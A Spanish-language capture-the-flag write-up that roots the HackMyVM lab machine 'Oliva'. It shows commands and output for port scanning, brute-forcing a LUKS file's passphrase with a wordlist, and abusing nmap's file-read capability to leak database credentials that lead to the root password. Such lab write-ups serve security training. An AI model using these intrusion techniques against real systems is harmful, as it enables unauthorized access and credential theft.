Oliva - Hackmyvm

0xH3rshel · July 24, 2023

Autor: Sml
Dificultad: Fácil

img

Reconocimiento

Lo primero es realizar una enumeración de los puertos abiertos.

$ sudo nmap -p- 192.168.1.108           
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 10:59 EDT
Nmap scan report for 192.168.1.108
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:73:5D:77 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

80 (http)

img

Continuo con una busqueda de subdirectorios y ficheros utilizando gobuster.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,html,bak -u http://192.168.1.108
[...]
/index.php            (Status: 200) [Size: 69]
/index.html           (Status: 200) [Size: 615]

En index.php podemos descargar un archivo con una supuesta contraseña.

img

Tras descargar el archivo, utilizando la herramienta file compruebo que es un archivo encriptado LUKS v2.

$ file oliva
oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offse

Explotación

Utilizando la herramienta Bruteforce Luks realizo un ataque de fuerza bruta para obtener la contraseña de la encriptación.

$ sudo bruteforce-luks -t 4 -f /usr/share/wordlists/rockyou.txt oliva
[sudo] password for kali: 
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 970                                        
Tried passwords per second: 1.695804
Last tried password: imissyou

Password found: b*****

Una vez obtendia la contraseña puedo abrir el archivo para luego montarlo desde el gestor de archivos.

# cryptsetup open --type luks oliva oliva
Enter passphrase for oliva: b*****

img

Con la contraseña del archivo mypass.txt puedo conectarme como el usuario Oliva mediante ssh.

$ ssh oliva@192.168.1.108
[...]
Last login: Tue Jul  4 10:27:00 2023 from 192.168.0.100
oliva@oliva:~$ :)

Escalado de privilegios.

Una vez dentro de la máquina, ejecuto linpeas.sh.

[...]
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                     
Current env capabilities:                                                                                           
Current: =
Current proc capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

Parent Shell capabilities:
0x0000000000000000=

Files with capabilities (limited to 50):
/usr/bin/nmap cap_dac_read_search=eip
/usr/bin/ping cap_net_raw=ep
[...]
[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                       
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*                                                        
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      128             [::]:22           [::]:*          
tcp   LISTEN 0      511             [::]:80           [::]:* 
[...]

Entre todos los datos que ofrece hay que destacar que nmap tiene la siguiente capabilitie “cap_dac_read_search=eip”, la cual permite leer archivos. Tambien tener en cuenta que hay una base de datos mysql en el puerto 3306 ejecutandose.

Tras leer diversos ficheros, en index.php encuentro usuario y contraseña de la base de datos.

oliva@oliva:/tmp$ nmap localhost -iL /var/www/html/index.php
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 17:21 CEST
Failed to resolve "Hi".
Failed to resolve "oliva,".
Failed to resolve "Here".
Failed to resolve "the".
Failed to resolve "pass".
Failed to resolve "to".
Failed to resolve "obtain".
Failed to resolve "root:".
Failed to resolve "<?php".
Failed to resolve "$dbname".
Failed to resolve "=".
Failed to resolve "'easy';".
Failed to resolve "$dbuser".
Failed to resolve "=".
Failed to resolve "'root';".
Failed to resolve "$dbpass".
Failed to resolve "=".
Failed to resolve "'S**********';".
Failed to resolve "$dbhost".
Failed to resolve "=".
Failed to resolve "'localhost';".
Failed to resolve "?>".
Failed to resolve "<a".
Unable to split netmask from target expression: "href="oliva">CLICK!</a>"
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.56 seconds

Una vez obtenida la contraseña, me conecto a la base de datos y encuentro el usuario root y su contraseña.

MariaDB [easy]> select * from logging;
+--------+------+--------------+
| id_log | uzer | pazz         |
+--------+------+--------------+
|      1 | root | O*********** |
+--------+------+--------------+
1 row in set (0,006 sec)

Con esto ya puedo iniciar sesión.

oliva@oliva:/tmp$ su root
Contraseña: 
root@oliva:/tmp# id
uid=0(root) gid=0(root) grupos=0(root)
root@oliva:/tmp# :)

Muchas gracias a Sml por esta máquina.

Twitter, Facebook